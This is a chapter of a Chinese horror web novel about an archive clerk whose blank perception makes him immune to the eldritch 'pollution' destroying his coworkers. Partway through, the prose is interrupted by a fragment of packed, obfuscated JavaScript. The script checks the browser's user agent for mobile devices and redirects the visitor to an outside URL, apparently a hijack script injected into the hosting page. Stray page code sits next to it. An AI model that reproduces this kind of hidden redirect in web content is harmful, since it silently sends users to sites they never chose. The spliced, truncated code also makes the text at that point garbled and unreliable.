那东西本能地想要收回“触须”。 然而,在收回的过程中,它发现——那一小截已经无法带回去。 就像伸出去的一根手指,被卡在了某个不存在的缝隙里。 它只能眼睁睁看着那一小截“触须”在空白里慢慢崩解,化成一团细小的碎片。 那些碎片在空白的边缘堆积,像是一圈灰。 【污染失败。】 【损耗:1.3%。】 【原因:未知。】 【标记目标为——】 那东西试图给“齐司”这个目标打上一个标签。 【——不可接触。】 【——不可命名。】 【——错误。】 【——……】 它在这里卡住了。 因为在它的“语言”里,没有一个现成的词可以准确描述这种状态。 最终,它选择了一个最接近的。 【——空。】 红灯跳到“0”。 绿灯亮起。 齐司踩下油门,车平稳地开出去。 广告牌上的黑暗在他身后慢慢收缩,重新变成一块普通的LED屏幕,开始循环播放饮料广告。 “清爽每一天。” 回到家,他把车停进车位,上楼,开门。 屋里一如既往的安静。 客厅的灯自动亮起,沙发上还放着早上出门前随手扔的外套。 他换鞋,走到厨房,打开冰箱。 里面有昨天剩下的一盒打折便当,还有几罐啤酒,一些简单的食材。 他把便当拿出来,撕开包装,放进微波炉。 “滴——” 时间调到三分钟。 微波炉开始转,里面的便当盒在玻璃盘上缓慢旋转。 他靠在厨房门框上,打了个哈欠。 今天确实有点累。 不是那种精神上的,而是单纯的——看字看多了的眼睛疲劳。 微波炉转到一半,厨房的灯闪了一下。 不是电路问题,而是——光线在极短的一瞬间被某种看不见的东西“吃掉”了。 那东西从天花板的角落里探出一点点,像是一团半透明的影子。 它没有固定的形状,只是一团不断变化的暗色。 它在空气里嗅了嗅。 【新空间。】 【新入口。】 【无防护。】 【可侵入。】 它开始往屋子里扩散。 客厅的墙纸在它经过的时候,花纹微微扭曲了一下,沙发的影子在地面上拉长,电视屏幕里反射出的画面出现了一道细小的裂痕。 它沿着地板的缝隙,慢慢爬向厨房。 在靠近齐司的那一刻,它的边缘突然抖了一下。 【检测目标。】 【高暴露个体。】 【接触。】 它伸出一小撮“触角”,轻轻触碰齐司的脚踝。 【……】 又是那种彻底的空白。 那一小撮“触角”在接触点附近迅速变得透明,像是被什么东西抽空了。 【错误。】 【结构崩解。】 【回退。】 它本能地往后缩,试图远离这个“空白”。 在这个过程中,它不小心擦过厨房的墙角。 墙角那块本来就有点潮湿的地方,瞬间长出一圈黑色的霉斑。 霉斑在几秒钟内扩散,长出细小的触须,像是一圈倒着生长的苔藓。 【寻找其他入口。】 【绕开目标。】 它放弃了对齐司的直接接触,开始沿着房子的边缘游走。 卧室的门缝,书房的窗帘,浴室的镜子,每一个地方都被它轻轻碰了一下。 某个角落的影子变得更深了一点,某本书的封皮上多了一道几乎看不见的划痕,浴室镜子里映出的灯光多了一道细微的重影。 它在这个空间里留下了一些微不足道的痕迹。 这些痕迹会在接下来的几天、几周、几个月里,慢慢发酵。 如果这里住的是普通人,大概会在某个夜里突然从梦里惊醒,觉得有人在床边看着自己。 或者在洗澡的时候,看到镜子里自己的影子比本体慢了一拍。 或者在某个雨夜,听见墙里有东西在爬。 齐司把便当从微波炉里拿出来,端到客厅,坐在沙发上,一边吃一边看电视。 电视里在放某个综艺节目,笑声、掌声、背景音乐混在一起,填满了整个客厅。 他吃完,把盒子扔进垃圾桶,回房间洗澡,躺床上。 灯关掉,房间陷入黑暗。 窗外远处的海浪声隐约传进来。 那团在屋子里游走的“影子”最后停在天花板的一个角落里。 它缩成一小团,像是一块被遗忘的污渍。 【目标不可侵入。】 【标记空间为:高风险。】 【建议撤离。】 它在自己的“语言”里留下这个标记。 然后,慢慢淡去。 房间里只剩下均匀的呼吸声。 齐司闭着眼,脑子里一片空白。 没有梦。 …… 第二天早上,他照常起床,刷牙,洗脸,出门,开车去单位。 大楼门口的安检机在他刷卡的时候发出一声“滴”,屏幕上跳出“欢迎”。 前台的安保人员看见他,眼神里带着一点复杂。 “早。”安保说。 “早。”齐司点头。 他走向电梯。 电梯门打开,里面已经站了几个人。 档案部的,同一层的,还有研究院那边的。 他们看到他,自动往里挪了挪,给他让出一个位置。 电梯门关上。 狭小的空间里,空气有点闷。 有人低声说话。 “听说了吗?梦境组昨晚又送走了一个。” “谁?” “那个总是说自己梦见海的人。” “我靠,他不是才做完一次心理辅导吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939308|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没用的,梦境污染一旦种下去——” 话说到一半,那个说话的人突然注意到齐司,声音顿了一下。 电梯里短暂地安静了两秒。 “你、你昨天看了‘黑潮’?”角落里有人忍不住问。 “嗯。”齐司说。 “感觉怎么样?” “字有点多。” 那人嘴角抽了一下。 “你晚上……做梦了吗?”他又问。 “我不做梦。”齐司说。 电梯里又安静了一下。 那种安静不是尴尬,而更像是——一群站在悬崖边的人,突然看见有人在悬崖边上搭帐篷住下,还睡得很香。 电梯“叮”的一声,门打开。 走廊的灯光一如既往地冷白。 墙上的监控探头缓慢转动,红色的小灯一闪一闪。 齐司走向档案室。 经过研究院那一侧的时候,有人从一间门上贴着“梦境组”的办公室里探头看了他一眼。 那人的眼眶有点深,黑眼圈很重,像是好几天没睡好。 他盯着齐司,眼神里带着一种近乎病态的兴奋。 “是他?”他低声问身边的人。 “嗯,就是他。”旁边的人说。 “暴露量最大,反应最小的那个。” 那人的嘴角慢慢勾起来。 “空白……”他喃喃,“完美的空白……” 他转身回到办公室,关上门。 门内的墙上,贴着一整面被撕下来的梦境记录——各种画、各种文字、各种扭曲的符号。 那些东西在墙上缓慢蠕动。 他走到墙前,伸手按在其中一张纸上。 “我们找到了。”他低声说,“一个不会被写满的本子。” 墙上的符号在他指尖下微微颤动。 【目标确认。】 【容器确认。】 【开始尝试写入计划。】 【路径:绕开常规感知。】 【入口:现实。】 …… 齐司推开档案室的门。 里面的空气还是那种混合了纸张、灰尘和一点点潮气的味道。 他走到自己的位置,坐下,打开电脑。 抽屉里,那一堆同事托付的遗物、密码、钥匙、U盘,在黑暗里静静躺着。 每一件东西上,都带着一点点看不见的东西——未完成的调查线索、被中断的低语、半截的诅咒、未完全展开的幻象。 它们本该在某个时刻爆发,把接触它们的人拖进某个深渊。 现在,它们被关在一个抽屉里。 抽屉外面,是一个完全感知不到它们的“保管者”。 这让那些东西陷入了一种奇怪的状态。 【等待触发。】 【等待反应。】 【等待……】 【……】 【无。】 【无。】 【无。】 它们在黑暗里互相碰撞,发出极低的、只有同类才能听见的“叮当”声。 那声音在抽屉里来回回响,最终,慢慢消散。 外面,键盘的敲击声有节奏地响着。 离下班,还有七小时五十二分钟。 齐司把最后一封邮件发出去,点了发送,顺手把窗口最小化。 屏幕右下角弹出一个系统提醒: 【调查局·中央服务器:您有一份新的加密文件,请及时查收。】 他看了一眼时间,鼠标移过去,点开,下载,保存到桌面,重命名—— “新建文件夹(23)”。 然后把它拖进另一个名为“杂项”的文件夹里。 里面已经有“新建文件夹(1)”到“新建文件夹(22)”,每一个都塞满了别人托付的东西:扫描件、加密包、奇怪格式的文档、被拍成照片的手写符号、模糊的录像截帧。 有些文件名是他自己随手起的: “别删1”“别删2”“真的别删3”。 他并不记得是谁托付的,只记得对方当时的表情都差不多——眼眶发红,眼白里布满血丝,嘴唇抖得厉害,手心全是汗。 “齐司,我可能撑不住了,这个你帮我先保管一下。” “你不是一直都……挺正常的吗?你别看里面的内容,只要帮我放着就行。” “如果我三天没来上班,你就把这个交给——” “你一定要记得密码,是我生日后面加三位数编号,写在这里了,你别弄丢。” 他们说这些话的时候,呼吸都不太匀,像是刚从什么地方狂奔回来,又或者刚从什么地方逃出来。 齐司当时的反应,基本都是一样的。 “哦。” “行。” “我给你放抽屉里。” 然后他就真的把东西放进抽屉里。 抽屉里原本只有几支笔、几本工作手册和一袋没吃完的薄荷糖。后来,薄荷糖被挤到最里面,手册被压在最底下,上面一层一层堆满了各种形状的东西。 黑色的U盘、银色的钥匙、刻着奇怪纹路的金属片、被折成四折的牛皮纸信封、装着黑墨手稿的透明文件袋。 每一件东西都带着一点点看不见的“尾巴”,像是从某个更深的地方伸出来的触须,被硬生生截断,留在现实里。 它们在黑暗里挤在一起,彼此摩擦、缠绕,试图顺着某个方向继续延伸。 但抽屉外面,那个人的感知像一堵空白的墙。 没有缝隙,没有入口,没有“可供抓取的点”。 那些东西在那堵墙前面,像是被卡在了一个死循环里。 【等待触发。】 【等待反应。】 【等待……】 【……】 【无。】 【无。】 【无。】 它们彼此之间开始出现极低频的震动,像是在互相询问,又像是在互相确认: 【是不是对象不对?】 【他为什么没有反应?】 【指令没有下达?】 【污染路径被阻断?】 【不,是被忽略。】 忽略,比阻断更致命。 阻断意味着对抗,意味着有东西在另一端顶着它们。 忽略意味着——另一端什么都没有。 没有“恐惧模块”,没有“敬畏模块”,没有“理解模块”。 像是一个被删减了部分功能的系统。 它们在黑暗里轻轻碰撞,发出只有同类才能听见的“叮当”声,像玻璃在水底互相敲击。 那声音在抽屉里回荡,最终慢慢消散。 外面,键盘的敲击声有节奏地响着。 离下班,还有七小时五十一分钟。 …… 到中午的时候,办公室里的人已经少了一半。 不是请假,也不是出差。 是“临时调离”“紧急送医”“精神状态评估中”“下落不明”。 这些词出现在内部系统的出勤表里,后面都跟着一串冷冰冰的编号。 齐司坐在自己的位置上,拿着一次性筷子吃盒饭。 盒饭是楼下食堂的标准配置,米饭偏硬,菜偏咸,肉偏肥。他一边咀嚼,一边看着屏幕上弹出来的即时通讯窗口。 【研究四组-临时群】 ——组长:今天下午的例会取消,大家各自整理手头资料。 ——组长:有需要心理辅导的同事可以主动申请。 ——组长:重复一遍,不要单独翻阅未归档的禁忌文本。 ——组长:尤其是最近四十八小时内新收录的。 下面是一串“收到”“明白”“已阅”。 齐司叼着筷子,点了一个“已阅”。 他手边的桌面上,正摊着一叠“最近四十八小时内新收录”的东西。 是早上有人塞给他的。 那人眼睛通红,胡子拉碴,衣领扣子扣错了两颗,手指在发抖。 “齐司,我……我可能撑不过今天,你帮我看一下这个有没有格式问题,顺便……顺便帮我保管一下。” “你不是做资料归档的吗?你比较细心。” “密码在第一页右下角,用红笔写的,你记一下。” “如果我没事,你就当我多心了;如果我出事,这个就交给上面,拜托了。” 他说完这些话,像是突然被抽空了力气,整个人靠在齐司桌边,呼吸急促。 齐司把那叠东西接过来,简单翻了两页。 纸张有点潮,边缘有水渍,墨迹在某些地方晕开,形成不规则的黑色斑点。 那些斑点在别人眼里,大概会像是某种“图案”或者“符号”。 在齐司眼里,只是“打印机质量不好”。 他顺着行距往下看。 【……当月亮被黑色的海吞没,城市的骨骼会从地底翻转出来,像鱼骨一样排列在天空。】 【……祂在梦里对我说话,声音从每一滴水里传出来,连洗手池里的水都在低语。】 【……我照着祂的指示,在墙上画下这个图案,结果那面墙开始呼吸。】 纸张上的文字在某些地方突然断掉,像是被人用力划掉,又像是被什么东西从中间咬了一口。 齐司看过去,只觉得“这人写东西真乱”。 他把筷子放下,拿起红笔,在页边空白处写了一行字: “段落不完整,建议补充时间、地点、人物信息。” 然后翻到第二页右下角,看到用红笔写的小字: “密码:LJY生日+001”。 他在心里过了一遍: “LJY是谁来着?” 想了两秒,没想起来。 于是他在旁边又写了一行: “备注:LJY=?(写清楚全名)”。 做完这些,他把整叠纸收起来,塞进抽屉里,压在一袋薄荷糖上面。 抽屉里那些看不见的东西,立刻像被丢进一块新鲜的肉,瞬间躁动起来。 【新的入口。】 【新的载体。】 【新的……】 它们顺着纸张的纤维往上爬,试图钻进刚刚写下的红色笔迹里。 红色的墨水在纸上慢慢渗开,形成一条条细小的线。 那些线在它们眼里,是“路径”“符号”“召唤”。 它们沿着那条路径往外爬,想要找到“读者”的意识。 结果,路径在纸张边缘戛然而止。 外面,是一片空白。 没有“恐惧”的接口,没有“理解”的端口,连“好奇”的微小电流都没有。 像是线路接到了一个被物理切断的插座上。 【……?】 【信号丢失。】 【对象缺失。】 【模块不存在。】 它们在纸张的纤维里来回打转,最后只好又缩回去,继续在抽屉里挤成一团。 外面,齐司已经把盒饭吃完,拿起纸巾擦了擦嘴,顺手把桌面上的油渍抹干净。 他看了一眼时间。 离下班,还有五小时二十九分钟。 …… 下午三点,走廊里突然响起一阵混乱的脚步声。 有人在喊:“别看窗户!所有人离开窗边!” 有人在骂:“谁把那玩意儿放在公共频道的?!” 有人在哭:“我没点开,我真的没点开,它自己弹出来的……” 办公室的灯忽明忽暗,像是电压不稳。 天花板上的白色灯管里,有什么东西在缓慢地游动,像是被困在玻璃里的黑色烟雾,又像是某种细长的影子在来回穿梭。 那影子偶尔会在某一瞬间停下,像是在“看”下面的人。 有几个人捂着头,趴在桌子上,肩膀剧烈起伏,嘴里发出含糊不清的呜咽。 有人已经被同事架着往外走,脚步虚浮,眼神涣散,嘴角挂着口水。 “别说话,别描述你看到的东西。” “眼睛闭上,跟着我走。” “呼吸,慢慢呼吸。” 各种声音混在一起,像一锅被搅乱的汤。 齐司戴着耳机,正在看一个Excel表格。 耳机里是白噪音——他习惯在工作的时候放这个,觉得比音乐更不打扰。 白噪音里偶尔夹杂着一些不属于程序的东西。 【……听见吗?】 【……你在看着我吗?】 【……我在你的屏幕后面。】 那些声音像是从很远的水底传来,又像是贴在耳膜上低语。 它们试图顺着耳机线往上爬,钻进他的耳道,进入他的听觉中枢。 结果,在靠近某个区域的时候,被一道看不见的“空白”弹开。 不是防御,不是屏障。 更像是——那一块区域根本没有“解析这类信号”的功能。 就像你对着一个没有麦克风的石头说话。 【……?】 【信号未被接收。】 【通道正常,接收端缺失。】 那些低语在白噪音里打了几个旋儿,最后只好绕开他,去找别的目标。 8. 第 8 章 它们顺着空气里的湿度,钻进隔壁工位那个人的耳朵里。 隔壁工位的年轻男生猛地一抖,手里的鼠标掉在地上,瞳孔放大,嘴唇发白。 “你们听见了吗?水声……水在说话……” “它们在笑……在笑我……” 他声音越来越高,最后变成了尖叫。 有人冲过来,按住他,给他塞镇静剂。 齐司摘了一只耳机,看了一眼那边的动静,又看了一眼自己屏幕上的表格。 表格里有一列空白,标着“最终保管者”。 他把自己的名字填了进去。 不是因为他想当这个“最终保管者”。 而是因为系统不让这格空着,不填就不能保存。 他填完,点了保存。 系统弹出一个提示框: 【检测到您已多次被选为“最终保管者”,是否申请更高权限以便统一管理?】 【是 / 否】 他看了一眼时间。 离下班,还有三小时零七分钟。 他点了“否”。 提示框停顿了一下,像是在“思考”。 然后又弹出一个新的: 【根据上级评估,您已具备更高权限使用资格,是否接受授予?】 【是 / 稍后】 这次没有“否”。 齐司想了想,点了“稍后”。 系统界面微微一闪,像是被什么东西从远程改动了一下。 【权限已自动提升。】 【您现在可以访问:禁忌文本二级库、异常影像三号库、梦境污染案例库。】 下面是一串细小的字: 【注:根据心理稳定性评估结果,您被列为“长期暴露安全对象”。】 他看了一眼这行字,心里只冒出一个念头: “这名字起得真怪。” 然后关掉窗口,继续整理表格。 …… 傍晚,天色开始发灰。 窗外的云层压得很低,像是一整块被翻过来的海底。 远处的建筑轮廓变得模糊,像是被水泡过的纸板。 走廊里的人声渐渐少了,剩下的脚步声在空旷的空间里显得格外清晰。 有人经过他工位,停了一下。 “齐司,你还不走?” “今天情况不太对,建议早点回去。” 齐司看了一眼屏幕右下角的时间。 离下班,还有二十六分钟。 “再等一会儿。”他说,“我要把这个表格做完。” 那人看了看他,又看了看他桌上的文件堆。 那些文件堆里,夹着各种颜色的封条、警告标识、红色的“禁阅”章。 普通人看一眼都会心里发毛。 那人喉结动了动,眼神有点复杂。 “你……最近有没有做什么奇怪的梦?” “有没有听见什么不对劲的声音?” “有没有觉得,水有点不对劲?比如洗手的时候,水龙头里的水会往上看你?” 齐司想了想。 “没有。” “我睡得挺死的。” “水就是水。” 那人沉默了一会儿,像是在努力判断他是不是在嘴硬。 最终,那人叹了口气,从怀里掏出一个小小的黑色本子,递给他。 “那你帮我保管一下这个。” “这是我这段时间的调查记录,还有一些我不敢交上去的东西。” “密码是我身份证后六位,你记一下。” “如果我明天没来,你就把这个交给研究院的——算了,你直接交给中央档案库,他们会知道怎么处理。” 齐司接过本子,翻了一下。 里面的字迹一开始还算工整,到了后面越来越乱,笔画像是在颤抖。 有几页上画满了密密麻麻的圆圈和线条,像是某种复杂的图案,又像是某种生物的剖面图。 在某一页的角落,有一行被重重划过的字: 【祂看见我了。】 墨水在那一块地方渗得很深,纸张都被磨薄了一层。 齐司看了一眼,只觉得“这人压力太大了”。 他把本子合上,点点头。 “行。” “我给你放抽屉里。” 那人盯着他看了几秒,眼神里带着一种近乎病态的渴望。 “你真的什么都没感觉?” “你看这些东西的时候,脑子里不会有那种……那种不属于自己的想法?” “不会听见有人在你耳边说话?” 齐司想了想。 “不会。” “我看这些,就跟看工作邮件差不多。” 那人喉咙里发出一声古怪的笑,像是笑,又像是哭。 “怪不得……” “怪不得他们都说,你可能是我们这批人里最接近‘祂’的存在。” “你知道吗?有些东西,只会对‘同类’保持沉默。” 他说完这句话,像是突然意识到自己说多了,猛地闭上嘴,转身离开。 走廊的灯光在他背影上拉出一条长长的影子,那影子在某一瞬间微微扭曲了一下,像是有另一层轮廓从里面探出来。 那一层轮廓在走到齐司工位旁边的时候,停了一下。 像是在“看”他。 像是在试图“辨认”他。 空气里有一瞬间的凝固,连空调出风口的风都像是停了半秒。 那一层轮廓里,有什么东西伸出来,像是一只看不见的手,试图往他这边探。 探到一半,碰到了一片彻底的空白。 没有“恐惧”的味道,没有“好奇”的味道,连“排斥”的味道都没有。 像是伸手进了一块被掏空的地方。 那东西愣了一下。 【……?】 【标记错误?】 【坐标偏移?】 【这是……】 它的意识结构里,某个用来“识别猎物”的模块开始报错。 【未检测到预期反应。】 【未检测到预期情绪。】 【未检测到预期认知。】 它本能地想要撤回。 但在撤回的瞬间,它的一小截“边缘”被那片空白“擦”了一下。 那不是攻击。 更像是——被系统误判为“无效数据”,直接丢进了垃圾桶。 那一小截“边缘”被剥离出去,失去了和主体的连接。 它在空气里短暂地悬浮了一下,像是一块被切下来的阴影。 然后,开始缓慢下沉。 下沉,穿过桌面,穿过文件,穿过抽屉的木板。 落进那堆已经被困在里面的“东西”中间。 一瞬间,抽屉里所有看不见的东西都安静了一下。 它们感知到了一块“来自源头”的碎片。 那碎片带着某种它们熟悉的“味道”—— 旧日、深渊、无名、不可言说。 但那味道上,又沾染了一点奇怪的“空白”。 像是被什么东西擦过,擦掉了一部分本该存在的属性。 【……】 【源头残片。】 【被剥离。】 【被……忽略?】 它们围上去,试图从那块碎片里读取更多信息。 结果,那块碎片在它们的触碰下,开始缓慢崩解。 不是被污染,不是被吞噬。 而是像一段被系统判定为“损坏”的数据,自动执行了“清理”程序。 一点一点,变成更小的碎屑,最后彻底消失。 抽屉里一片死寂。 那些东西第一次产生了一种接近“恐惧”的情绪。 不是对“上位存在”的恐惧。 而是对“空白”的恐惧。 【那是什么?】 【那不是祂。】 【那也不是人。】 【那是……缺失。】 它们在黑暗里缩成一团,不再轻易伸出触须。 外面,齐司关掉电脑,站起来,拿起自己的外套。 下班时间到了。 他把抽屉锁上,顺手把钥匙放进裤兜里。 走廊的灯光有点发黄,空气里有消毒水的味道,还有一点淡淡的铁锈味。 电梯里只有他一个人。 电梯门合上的瞬间,镜面不锈钢的内壁上,短暂地浮现出一些奇怪的影子。 像是某种巨大的轮廓被压缩成二维,在金属表面扭曲。 那些轮廓在别人的眼里,会是“不可直视”的东西。 在齐司眼里,只是“电梯灯反光有点花”。 他抬手按了一下“1”层。 电梯开始下行。 在某个楼层经过的时候,电梯突然一顿,灯光闪了一下。 一阵极低的嗡鸣声从四面八方传来,像是有人在金属后面用指甲慢慢刮。 【……听见吗?】 【……你在往下走。】 【……再往下一点,就是水。】 声音试图钻进他的脑子里。 结果,在接触到某个区域的时候,再次被“空白”吞没。 【信号未被解析。】 【目标缺失相关感知模块。】 【尝试绕行。】 它们绕开他的意识,顺着电梯缝隙往外散。 在电梯外面某一层的走廊里,有人突然捂着头,跪在地上,开始呕吐。 呕吐物里全是水。 电梯继续往下。 齐司看着电梯门上方的数字从“7”变成“6”,再变成“5”。 他在心里盘算: “回去路上要不要买点菜?” “冰箱里好像只剩两颗鸡蛋和半袋冷冻饺子。” 电梯到了一层,门打开。 大厅里灯光昏黄,值班台后面的人正低头写什么东西,眼圈发青,像是几天没睡好。 看到齐司出来,那人愣了一下。 “你今天才下班?” “你还敢一个人走?” 齐司点点头。 “正常下班时间。” 那人张了张嘴,像是想说什么,最终只是从抽屉里拿出一个信封,递给他。 “这是下午研究院送来的,说是给你的。” “他们说你现在权限提高了,有些东西只能你看。” 齐司接过信封,摸了一下厚度。 里面有一叠纸,还有一张U盘。 信封封口处盖着红色的章: “只限指定保管者开启。” 他拆开信封,在值班台旁边随手翻了一下。 第一张纸上,是一份评估报告。 【对象编号:Z-17】 【姓名:齐司】 【岗位:资料归档员】 【接触禁忌文本次数:147】 【接触异常影像次数:63】 【接触梦境污染样本次数:21】 【精神状态评估:稳定(异常稳定)】 【理智值波动:无明显波动】 【备注:疑似具备“先天性感知缺失”特征,对旧日信息污染呈天然免疫状态。】 下面还有一行手写的字,笔迹潦草,却压得很重。 【他可能是我们唯一能长期面对真相的人。】 齐司看完,心里只冒出一个念头: “这帮人真会夸大。” 他把纸往后一翻。 后面是几张黑白照片,画质很差,像是从老旧监控里截出来的。 照片里,有人对着某种扭曲的影像发疯,有人对着一面墙自言自语,有人站在水池前面,往水里伸手。 最后一张,是他的背影。 他坐在自己工位前,桌上堆满了各种带有“禁阅”标识的文件。 照片的角落里,有一个小小的时间戳。 【23:47】 那是加班时间。 但那天,他只是因为表格没做完,多留了一个小时。 照片背面,有一行字。 【在所有人开始出现不同程度的异常反应时,他仍然在整理文件。】 齐司合上那叠纸,把它们塞回信封里。 值班台后面的人盯着他,眼神有点发直。 “你看了?” “你……没觉得哪里不对?” 齐司想了想。 “字有点小。” “下次让他们用大一点的字号。” 那人喉咙里发出一声干笑,像是被什么东西卡住了。 “你真是……” “算了,你快回去吧。” 齐司点点头,把信封夹在腋下,走出大厅。 外面的风有点凉,天已经完全黑了。 街灯把地面照成一块块浅黄色的岛,岛和岛之间是深色的缝隙。 那些缝隙在某些人的眼里,会是“张开的嘴”“窥视的眼睛”。 在齐司眼里,只是“路灯之间的阴影”。 他沿着人行道往前走,路过一个还开着的小超市。 超市的玻璃门上贴着“今日特价:速冻水饺第二件半价”。 他停了一下,推门进去。 超市里有股混合的味道:方便面的调料粉、塑料包装的味道、冰柜里冷气的潮湿味。 收银台旁边的小电视正放着新闻,画面有点雪花。 【……近日,沿海多地出现异常潮汐现象,有目击者称在退潮时看见海底有巨大阴影移动……】 【……气象部门表示,目前尚未发现明确原因,呼吁民众不要前往危险海域……】 画面一闪,切到另一个新闻。 【……某研究机构发生集体精神异常事件,目前已有多名工作人员被送往专门医院……】 【……据不愿透露姓名的内部人士称,事件可能与某种“未公开的研究项目”有关……】 电视的声音有点沙哑,像是被什么东西从中间咬了一口。 齐司站在冰柜前,拉开门,拿了两袋速冻饺子。 一袋猪肉白菜,一袋三鲜。 他犹豫了一下,又拿了一盒鸡蛋。 结账的时候,收银员是个戴着口罩的中年女人,眼睛下面有青黑的眼圈。 她看了他一眼,突然压低声音。 “你是调查局的吧?” “我看过你们那栋楼的出入证。” 齐司“嗯”了一声。 女人的手指在收银台上敲了敲,像是在犹豫要不要说下去。 最终,她还是压低声音,飞快地说了一句。 “你们小心点。” “最近水不太对劲。” 她说完,像是被自己吓到,赶紧低头扫条码,不再看他。 齐司提着塑料袋走出去。 街角的下水道口里,有一阵极轻的水声。 那水声在某一瞬间,像是变成了某种低语。 【……看见你了。】 【……你身上有我们的味道。】 【……你是……】 低语顺着空气往上爬,试图贴近他的耳朵。 在接触到某个区域的时候,再次被“空白”吞没。 【信号未被解析。】 【对象缺失相关感知模块。】 【尝试识别:】 【……】 【识别失败。】 那低语停顿了一下,像是在“打量”他。 然后,做出了一个对它们来说极其罕见的选择—— 【撤退。】 水声慢慢退回下水道,重新变成普通的水流声。 齐司提着饺子和鸡蛋,走回自己的出租屋。 …… 出租屋在一栋老旧的居民楼里,墙皮脱落,楼道里有股潮味。 楼梯间的灯坏了一半,剩下的那一半忽明忽暗。 有人在楼道里晾衣服,湿衣服滴下来的水在地上形成一小滩一小滩的水渍。 那些水渍在某些人的眼里,会是“从地底渗出来的眼睛”。 在齐司眼里,只是“有人拧衣服不干净”。 他走到自己那层,掏钥匙开门。 门锁转动的时候,门板轻微震动了一下,发出一声低沉的“咔嗒”。 屋里很安静。 他把东西放进厨房,打开冰箱,把饺子和鸡蛋塞进去。 冰箱灯亮了一下,里面的冷气往外涌。 冷气里夹杂着一点点看不见的东西—— 别人放在他那里的、带着“尾巴”的东西,已经不止在办公室的抽屉里。 有些通过U盘,有些通过纸张,有些通过他衣服上沾到的灰尘,跟着他回了家。 它们在冰箱的角落里,在床底的灰尘里,在书架的缝隙里。 它们本该在某个夜晚,顺着梦境钻进他的脑子里。 【梦境污染程序启动。】 【目标:齐司。】 【步骤一:在入睡前播放低语。】 【步骤二:在浅睡眠阶段植入图像。】 【步骤三:在深睡眠阶段绑定。】 它们按部就班,开始执行。 晚上十一点,齐司洗完澡,关灯,上床。 屋里陷入黑暗。 窗外的路灯透进来一条淡淡的光带,落在天花板上。 天花板的角落里,有一小块水渍,像是一只张开的眼睛。 那只“眼睛”在某一瞬间微微动了一下,像是在眨眼。 【步骤一:低语。】 空气里开始出现极轻的声音,像是有人在远处说话,又像是水在耳边流。 【……看见我。】 【……记住我。】 【……梦见我。】 这些声音顺着空气往他耳朵里钻。 在接触到某个区域的时候,再次被“空白”吞没。 【信号未被解析。】 【对象缺失“梦境接收”模块。】 【尝试绕行。】 它们绕开耳朵,试图从皮肤、从呼吸、从心跳的节奏里找到入口。 【步骤二:图像。】 天花板上的水渍开始扩散,形成某种扭曲的图案。 那图案在别人眼里,会是“不可名状的形体”。 在齐司眼里,只是“墙皮又要掉了”。 他翻了个身,把被子往上拉了拉。 【步骤三:绑定。】 那些东西终于意识到—— 这个目标的“梦境模块”本身就不完整。 他睡得太死,梦境活动极低,几乎没有可以插入的空间。 【……】 【绑定失败。】 【原因:目标缺失相关模块。】 【尝试寻找替代路径。】 它们在屋子里来回游走,最后,只好顺着墙体、顺着水管、顺着电线,重新退回更远的地方。 退回的过程中,它们不小心在某个节点上留下了一点“痕迹”。 那个节点,连接着一个更深的地方。 一个本不该被轻易暴露的“源头”。 那边,有什么东西缓慢地睁开了“眼睛”。 【是谁在乱动我的线路。】 那东西的意识顺着线路往上爬,试图找到那个“擅自乱动”的小东西。 结果,线路在某个地方断掉了。 断口附近,有一小块“空白”。 那东西的意识触碰到那块空白,停了一下。 【……?】 【这是什么。】 【不是人。】 【不是我。】 【是……缺失。】 它试图往那块空白里探。 探到一半,它的一小部分被“擦”掉了。 那一小部分,带着它的“本质属性”。 被擦掉的部分,顺着线路掉进了某个地方—— 办公室的抽屉里,出租屋的冰箱里,床底的灰尘里。 它们在那里,变成了“残片”。 残片开始缓慢崩解。 那东西第一次感受到一种极其陌生的感受。 不是“被反抗”,不是“被封印”。 而是“被忽略”。 【……】 【不可接受。】 【不可理解。】 【错误。】 它试图沿着别的线路绕过去。 结果,每一条线路在接近那个“目标”的时候,都会不可避免地经过那块“空白”。 每经过一次,它就会掉下一小块“边缘”。 掉下来的“边缘”全都被那片空白“擦”掉,变成残片,掉进现实里,暴露在各种地方。 暴露在抽屉里,暴露在文件里,暴露在U盘里。 暴露在——齐司的“保管范围”里。 它的“边缘”越来越少。 它的“形状”开始出现轻微的缺口。 那些缺口在别的存在眼里,会是“弱点”。 但现在,没有别的存在敢靠近。 因为它们也感知到了那片“空白”。 【那是什么?】 【那不是我们。】 【那也不是人。】 【那是……系统漏洞。】 …… 第二天早上,齐司醒来,洗漱,煮饺子。 水在锅里翻滚,发出“咕嘟咕嘟”的声音。 有那么一瞬间,那声音像是变成了某种低语。 【……】 【……】 【……】 他拿起手机,看了一眼时间。 上班还早。 他把饺子捞出来,蘸酱油吃。 饺子皮有点烂,馅有点咸。 他吃完,把碗放进水池里,打开水龙头。 水流下来,冲在碗上,溅起一小片小小的水花。 那些水花在某些人的眼里,会是“无数张开的小嘴”。 在齐司眼里,只是“水压有点大”。 他关掉水龙头,拿起包,出门上班。 …… 调查局的大楼今天比昨天更安静。 走廊里空了很多工位,椅子空着,电脑屏幕黑着。 有几个工位上,贴着黄色的封条。 【暂时封锁。】 【涉及未明异常事件。】 【未经授权不得接触。】 有人在走廊尽头低声说话。 “昨天又送走了三个。” “听说有一个在救护车上就开始说海水在他脑子里灌。” “还有一个,把自己眼睛抠出来,说不想再看见‘祂’。” “你小点声。” “别乱说。” 他们说话的时候,目光不自觉地往齐司这边飘。 那目光里有好奇,有恐惧,还有一点说不清的东西。 像是在看一个“异类”。 研究院的人也来了。 几个穿白大褂的,戴着胸牌,上面写着“精神污染研究部”。 他们把齐司叫到一间小会议室。 会议室里有一台投影仪,一面白板,几把椅子。 桌上摆着一叠文件,还有一台录音笔。 带头的是个戴眼镜的中年男人,眼神锐利,眼底却有疲惫的红血丝。 “齐司,我们想再给你做一次评估。” “只是例行的,不会耽误你太久。” 齐司坐下,点点头。 “好。” 他们给他看了一些图片。 图片上是各种扭曲的图案、模糊的影子、看不出具体形状的“东西”。 他们一边给他看,一边盯着他的瞳孔、心率、呼吸。 